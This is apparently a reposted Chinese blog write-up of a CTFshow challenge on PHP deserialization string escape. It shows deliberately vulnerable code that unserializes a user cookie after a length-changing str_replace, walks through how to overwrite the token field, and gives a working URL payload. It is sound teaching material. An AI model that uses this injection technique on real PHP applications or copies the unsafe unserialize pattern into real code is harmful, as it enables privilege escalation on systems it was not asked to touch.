反序列化字符串逃逸——初体验

前言:
从CTFshow上做的一道反序列化字符串逃逸的题,第一次接触,想了半天(可能是我太菜了>__<)后来才发现其实不难理解,真的需要动手写脚本操作一下,光看不好理解

题目链接

message.php:

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    
    
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
    
    
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    
    
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
    
    
        echo $flag;
    }
}
index.php:

<?php
error_reporting(0);
class message{
    
    
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
    
    
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    
    
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

首选明确几点:

• PHP 在反序列化时,对类中不存在的属性也会进行反序列化
• PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

反序列化字符串逃逸类似于注入,通过拼接、闭合这种思想构造字符串

回到题目~
拿到flag的条件是$msg->token=='admin'但题目中token初始化的值是user。再看$umsg = str_replace('fuck', 'loveU', serialize($msg))这个替换语句,将序列化后,4个字符长度的fuck替换成5个字符长度loveU。然后再将反序列化的结果拿去比较token=='admin'

为此,我们可以想到反序列化字符串逃逸

要让token=='admin',序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}反序列化出来就是class message{ public $token='admin';}
其中:s:5:"token";s:5:"admin";24个字符

<?php class message{
    
    
    public $from='d';
    public $msg='m';
    public $to='1';
    public $token='user';
    }
$msg= serialize(new message);
print_r($msg);
输出:  O:7:"message":4:{
    
    s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";} 

我们将字符串插入到$to中,但要注意闭合,所以要加上" ;(闭合前面字符串)和} (闭合 类结束符)";s:5:"token";s:5:"admin";} 这一共27个字符长度就是我们需要插入的字符串

<?php class message{
    
    
    public $from='d';
    public $msg='m';
    public $to='1";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
print_r($msg);

输出:  O:7:"message":4:O:7:"message":4:{
    
    s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}  

假如将上面这个输出反序列化,会这么样呢?
会报错!因为s:28:"1"此处,PHP认为此处的to的值是1,所以长度是1。但给的是28啊,这相差了27个字符长度(就是我们插入字符串的长度),不符合PHP认为的就报错了

我们利用前面的loveU替换fuck补充这27的差值
一个fuck比一个loveU多一个长度,27个fuck就会多出27个长度

<?php class message{
    
    
    public $from='d';
    public $msg='m';
    public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
print_r($msg);

输出:  O:7:"message":4:{
    
    s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

通过替换:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}


注意str_replace()替换后,136这个值是不变的!而此时,136个字符长度读到的是1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU

后面的";s:5:"token";s:5:"admin";}就分离开来了,反序列化后就是token=admin

}是结束符号,";s:5:"token";s:4:"user";}是不会被反序列化的!这样一看,就是反序列化字符逃逸了,反序列结果如下

message Object
(
    [from] => d
    [msg] => m
    [to] => 1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
    [token] => admin
)

即使题目初始化:public $token='user'我们也可以利用替换导致的长度变化,构造出我们要想的

payload:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

猜你喜欢

转载自blog.csdn.net/weixin_45669205/article/details/114163197